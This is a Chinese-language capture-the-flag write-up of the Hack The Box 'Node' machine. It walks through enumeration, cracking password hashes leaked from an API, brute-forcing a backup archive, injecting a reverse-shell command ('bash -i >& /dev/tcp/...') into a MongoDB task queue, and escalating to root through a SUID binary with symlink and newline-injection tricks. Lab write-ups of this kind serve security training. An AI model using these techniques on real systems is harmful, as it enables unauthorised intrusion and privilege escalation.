HTB靶场系列 linux靶机 Node靶机

227 阅读6分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路

勘探

nmap

> nmap 10.10.10.58
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-30 10:58 EDT
Nmap scan report for 10.10.10.58
Host is up (0.31s latency).
Not shown: 65533 filtered ports
PORT     STATE SERVICE
22/tcp   open  ssh
3000/tcp open  ppp

Nmap done: 1 IP address (1 host up) scanned in 15.64 seconds


> nmap -sCV 10.10.10.58 -p 22,3000                                   255 ⨯
Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-06 15:49 CST
Nmap scan report for 10.10.10.58
Host is up (0.31s latency).

PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
|   256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
|_  256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519)
3000/tcp open  hadoop-datanode Apache Hadoop
| hadoop-datanode-info: 
|_  Logs: /login
| hadoop-tasktracker-info: 
|_  Logs: /login
|_http-title: MyPlace
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.66 seconds

22端口

意识到7.2p2的openssh版本,目标机可能是Ubuntu Xenial 16.04

3000端口

再打开3000端口发现是一个小博客
然后只用-sV来探测3000端口会发现一个不一样的报告
image-20210530111011148.png

nmap -p 3000 -sV 10.10.10.58
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-30 11:05 EDT
Nmap scan report for 10.10.10.58
Host is up (0.062s latency).

PORT     STATE SERVICE VERSION
3000/tcp open  http    Node.js Express framework

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.75 seconds

还是没什么用,我们继续看看这个网站有什么

有两个具体的界面一个是用户的界面

image-20210530111129647.jpg

一个是登陆界面

image-20210530111223243.jpg 我们发现这个网站关闭了注册,我们只能使用已有的账号

那么我们扫一下网站目录

http://10.10.10.58:3000/assets
http://10.10.10.58:3000/partials
http://10.10.10.58:3000/uploads
http://10.10.10.58:3000/assets/css
http://10.10.10.58:3000/vendor
http://10.10.10.58:3000/assets/js
http://10.10.10.58:3000/assets/js/misc
http://10.10.10.58:3000/assets/js/app
http://10.10.10.58:3000/vendor/jquery
http://10.10.10.58:3000/assets/js/app/controllers

没什么东西,都是js和css的文件夹,唯一看起来有用的uploads也是重定向到主页

获取mark权限

assets/js/app/controllers/home.js在这个文件中发现了一个get请求

再查看profile.js的时候,我们发现在users这个文件内储存着用户的信息

var controllers = angular.module('controllers');

controllers.controller('ProfileCtrl', function ($scope, $http, $routeParams) {
  $http.get('/api/users/' + $routeParams.username)
    .then(function (res) {
      $scope.user = res.data;
    }, function (res) {
      $scope.hasError = true;

      if (res.status == 404) {
        $scope.errorMessage = 'This user does not exist';
      }
      else {
        $scope.errorMessage = 'An unexpected error occurred';
      }
    });
});

/api/users/latest然后去访问,能得到

[{"_id":"59a7368398aa325cc03ee51d","username":"tom","password":"f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240","is_admin":false}, spongebob

_{"_id":"59a7368e98aa325cc03ee51e","username":"mark","password":"de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73","is_admin":false}, snowflake

{"_id":"59aa9781cced6f1d1490fce9","username":"rastating","password":"5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0","is_admin":false}]

三个普通用户

把latest去掉

访问/api/users发现多了一个

{"_id":"59a7365b98aa325cc03ee51c","username":"myP14ceAdm1nAcc0uNT","password":"dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af","is_admin":true}

manchester

是管理员账号

密码用hash-identifier判断加密形式发现是sha256然后上网找就可以了

之后就可以登陆进入后台,发现只有一个下载backup的选项,那么就下载

image-20210531091419011.jpg

file一下,发现ascii编码只有一行,

wc一下发现几百万字节

那么大胆猜测是base64

然后base64解码

base64 -d myplace.backup > myplace

然后再file一下你会发现是个压缩文件

解压发现有密码

试一下管理员密码和那几个用户密码不行

不知道就直接fcrackzip暴力破解

fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt myplace.zip

注意rockyou是以压缩文件形式存在,没用过需要先解压

然后发现密码是magicword

解压成功发现是网页源代码

发现了app.js这个文件是项目的入口,其中往往会有重要的数据

const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
const backup_key = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';

果然暴漏了ssh的登录用户和密码

然后我们ssh登录

ssh mark@10.10.10.58

5AYRft73VtFpc84k

就成功以mark登陆了

还有一个0xdf中的操作

sshpass -p '5AYRft73VtFpc84k' ssh mark@10.10.10.58                                                                                            
The programs included with the Ubuntu system are free software;             
the exact distribution terms for each program are described in the          
individual files in /usr/share/doc/*/copyright.                             
                                                                                            
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.   

              .-. 
        .-'``(|||) 
     ,`\ \    `-`.                 88                         88 
    /   \ '``-.   `                88                         88 
  .-.  ,       `___:      88   88  88,888,  88   88  ,88888, 88888  88   88 
 (:::) :        ___       88   88  88   88  88   88  88   88  88    88   88 
  `-`  `       ,   :      88   88  88   88  88   88  88   88  88    88   88 
    \   / ,..-`   ,       88   88  88   88  88   88  88   88  88    88   88 
     `./ /    .-.`        '88888'  '88888'  '88888'  88   88  '8888 '88888' 
        `-..-(   ) 
              `-`                                                                           
...[snip]...

Last login: Wed Sep 27 02:33:14 2017 from 10.10.14.3
mark@node:~$ 

可惜的是,user的flag在tom的用户文件夹中

获取tom权限

ps auxww发现tom运行了两个应用

tom       1229  0.0  6.0 1009080 45872 ?       Ssl  07:45   0:02 /usr/bin/node /var/scheduler/app.js

tom       1238  0.4  9.2 1058784 70376 ?       Ssl  07:45   0:39 /usr/bin/node /var/www/myplace/app.js

发现都是app.js

而那个scheduler中的app.js我们查看一下发现

const exec        = require('child_process').exec;
const MongoClient = require('mongodb').MongoClient;
const ObjectID    = require('mongodb').ObjectID;
const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';

MongoClient.connect(url, function(error, db) {
  if (error || !db) {
    console.log('[!] Failed to connect to mongodb');
    return;
  }

  setInterval(function () {
    db.collection('tasks').find().toArray(function (error, docs) {
      if (!error && docs) {
        docs.forEach(function (doc) {
          if (doc) {
            console.log('Executing task ' + doc._id + '...');
            exec(doc.cmd);
            db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
          }
        });
      }
      else if (error) {
        console.log('Something went wrong: ' + error);
      }
    });
  }, 30000);

});

又想起来mark这个账号是用来运行MongDB的

那我们跑一下MongDB创建一个进程等着tom来执行

mongo -u mark -p 5AYRft73VtFpc84k scheduler
MongoDB shell version: 3.2.16
connecting to: scheduler
> show collections
tasks
> db.tasks.insert({"cmd": "touch /tmp"})
WriteResult({ "nInserted" : 1 })
> db.tasks.find()
{ "_id" : ObjectId("61d6d03c891780d13240ced5"), "cmd" : "touch /tmp" }
发现创建成功了

转发shell
> db.tasks.insert({"cmd": "bash -c 'bash -i >& /dev/tcp/10.10.16.7/4444 0>&1'"})
WriteResult({ "nInserted" : 1 })
> db.tasks.find()
{ "_id" : ObjectId("61d6d077891780d13240ced6"), "cmd" : "bash -c 'bash -i >& /dev/tcp/10.10.16.7/4444 0>&1'" }

然后就获得了tom的shell

转发出来的shell不是很好用,可以用python转发出来一个

python3 -c 'import pty;pty.spawn("bash")'

ctrl+z可以暂存到后台

jobs 显示所有挂起命令

fg 还原挂起的进程

bg 后台运行

kill %数字 杀死挂起的进程

获取root权限

输入id

id
uid=1000(tom) gid=1000(tom) groups=1000(tom),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),116(sambashare),1002(admin)

find / -perm -u=s -type f 2>/dev/null

发现了一个熟悉的身影/usr/local/bin/backup

ls -l /usr/local/bin/backup

-rwsr-xr-- 1 root admin 16484 Sep  3  2017 backup

发现是一个root权限的文件

app.get('/api/admin/backup', function (req, res) {                                                     
    if (req.session.user && req.session.user.is_admin) {                                                 
      var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);                         
      var backup = '';                                                                                   
                                                    
      proc.on("exit", function(exitCode) {                                                               
        res.header("Content-Type", "text/plain");                                                        
        res.header("Content-Disposition", "attachment; filename=myplace.backup");                        
        res.send(backup);                                                                                
      });                                                                                                
                                                                                                         
      proc.stdout.on("data", function(chunk) {                                                           
        backup += chunk;                            
      });        
                                                    
      proc.stdout.on("end", function() {          
      });
    }                                               
    else {                                   
      res.send({                                                                                         
        authenticated: false                        
      });                              
    }                          
  });   

发现用特定的语句

backup -q backup_key __dirname

而这个backup_key我们之前在app.js中就有看到

那么我们按照它的说法试试,看看这个应用是什么效果

然后我们随便选取一个文件夹,比如说之前我们用mongdb创建的tmp文件夹,发现生成了一串编码,然后我们按照之前的app.js中的思路我们猜测这个加密方式是base64,那么直接尝试解开

复制下来保存到自己的机器中

和之前我们拿到backup文件一样的处理方式,一样的密码

cat root | base64 --decode > root1

file root1

然后发现是个压缩文件,密码同上magicword

发现正确的解开了,也是一个压缩包,密码依旧是magicword,但是揭开之后并没有具体的文件,都是一些空的文件夹,那么我们想,会不会是文件权限的问题呢

而且到此我们已经了解了这个进程的运作效果

大意就是说会把一个文件夹中的所有东西包成一个压缩包然后用base64编码输出,实际上这个backup文件就是输出我们之前在网页找到的那个网页源代码文件压缩包的脚本

然后我们继续在tmp中以tom权限创建一个文件夹叫test,尝试在这个文件夹中创建关联文件到root.txt这个文件

mkdir /tmp/test创建一个文件夹

ln -s /root/root.txt /tmp/test创建一个root的镜像

backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /tmp/test

这把解开就是flag

另一种思路

这个backup有一种奇怪的用法,思路来源于0xdf的大佬逆向之后的结论

backup -q "" '            
> /bin/bash
> '

这样,magicword也不需要,文件也不需要,直接就可以让bash以进程所有者的身份直接转发出来,很神奇,推荐去看一看大佬的逆向过程

感谢

HTB: Node | 0xdf hacks stuff

Hack the Box (HTB) machines walkthrough series — Node - Infosec Resources (infosecinstitute.com)